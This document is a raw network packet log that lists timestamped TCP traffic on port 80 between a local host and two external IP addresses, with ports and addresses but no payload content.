Sep 30, 2024 12:22:58.095633030 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095642090 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.095668077 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.095684052 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095699072 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095712900 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.095715046 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.095742941 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.095877886 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096029043 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.096576929 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096692085 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.096816063 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096834898 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096848965 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096869946 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096870899 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.096884966 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.096884966 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096899986 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096913099 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096923113 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.096926928 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096939087 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.096941948 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.096957922 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.096986055 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.097776890 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097790956 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097805023 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097820997 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.097826004 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097841024 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097842932 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.097856045 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097856998 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.097870111 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097886086 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.097889900 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.097910881 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.097934961 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.098692894 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.098706007 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.098742008 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.098752022 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.098963022 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.098975897 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.098995924 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.098997116 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099009037 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099023104 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099035025 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099039078 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099047899 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099050999 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099050999 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099061012 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099064112 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099069118 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099086046 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099107027 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099848986 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099859953 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099869967 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099883080 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099899054 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099924088 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.099982023 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.099994898 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100007057 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100019932 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100020885 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.100040913 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.100076914 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.100799084 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100811005 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100821972 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100835085 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100845098 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.100864887 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.100908995 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100919962 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100931883 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100944042 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.100950003 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.100965977 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.100992918 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.101735115 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.101771116 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.101771116 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.101782084 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.101810932 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.101841927 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.101852894 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.101864100 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.101875067 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.101881981 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.101896048 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.101919889 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.147259951 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.152089119 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324188948 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324212074 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324223995 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324266911 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324281931 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324297905 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324299097 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324336052 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324337006 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324354887 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324368000 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324373960 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324377060 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324387074 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324404001 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324431896 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324659109 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324670076 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324680090 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324691057 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324693918 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324724913 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324738026 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324742079 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324752092 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324779987 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324809074 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324819088 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324827909 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324840069 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324846029 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324862003 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.324873924 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.324887037 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325001955 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325043917 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325045109 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325057030 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325089931 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325103998 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325114012 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325134039 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325153112 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325177908 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325247049 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325258017 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325275898 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325306892 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325337887 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325347900 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325359106 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325381994 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325406075 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325424910 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325504065 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325514078 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325524092 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325535059 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325541019 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325546026 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325558901 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325568914 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325584888 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325586081 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325594902 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325604916 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325613022 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325649977 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325805902 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325815916 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325831890 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325843096 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325844049 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325865030 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325881004 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325906038 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325916052 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325925112 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325933933 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.325947046 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.325973034 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326025009 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326076031 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326086044 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326103926 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326131105 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326159000 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326169014 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326179981 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326190948 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326198101 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326221943 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326297045 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326312065 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326322079 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326334953 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326335907 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326345921 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326354027 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326359034 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326369047 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326379061 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326380968 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326395988 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326400042 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326409101 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326433897 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326487064 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326498032 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326534986 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326534986 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.326538086 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326549053 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.326577902 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.809108019 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.809144020 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:58.813977003 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:58.814024925 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.091244936 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.091308117 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.117912054 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.123009920 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.299923897 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.299941063 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.299952984 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.299998999 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.300038099 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.302611113 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.307535887 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.483103991 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.483153105 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.492058992 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.496957064 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.686093092 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.686522007 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.690355062 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.695246935 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.883445978 CEST	80	52543	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:59.883539915 CEST	52543	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:59.892685890 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:59.897519112 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:59.897952080 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:59.898590088 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:59.903359890 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.518997908 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519104958 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519124031 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519136906 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519155979 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519165993 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519176006 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519186020 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519196987 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519207954 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.519213915 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.519251108 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.524045944 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.524060011 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.524070978 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.524104118 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.524137974 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.609522104 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609549046 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609560013 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609570980 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609582901 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609603882 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.609603882 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.609637976 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.609874010 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609886885 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609905005 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609915018 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609919071 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.609926939 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.609932899 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.609956026 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.610898972 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.610927105 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.610938072 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.610961914 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.610974073 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.610975027 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.610987902 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.611016989 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.611644983 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.611658096 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.611669064 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.611697912 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.611709118 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.611716032 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.611728907 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.611747026 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.611768007 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.612507105 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.612869978 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.722495079 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722508907 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722518921 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722529888 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722559929 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.722584963 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.722608089 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722645998 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.722660065 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722671032 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722707033 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.722758055 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722769022 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722778082 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722790003 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.722790003 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.722810030 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.722840071 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.723614931 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.723628998 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.723639011 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.723649025 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.723659039 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.723674059 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.723684072 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.723707914 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.723710060 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.723721027 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.723761082 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.724392891 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.724410057 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.724420071 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.724437952 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.724464893 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.724529028 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.724539995 CEST	80	52545	147.45.44.104	192.168.2.4
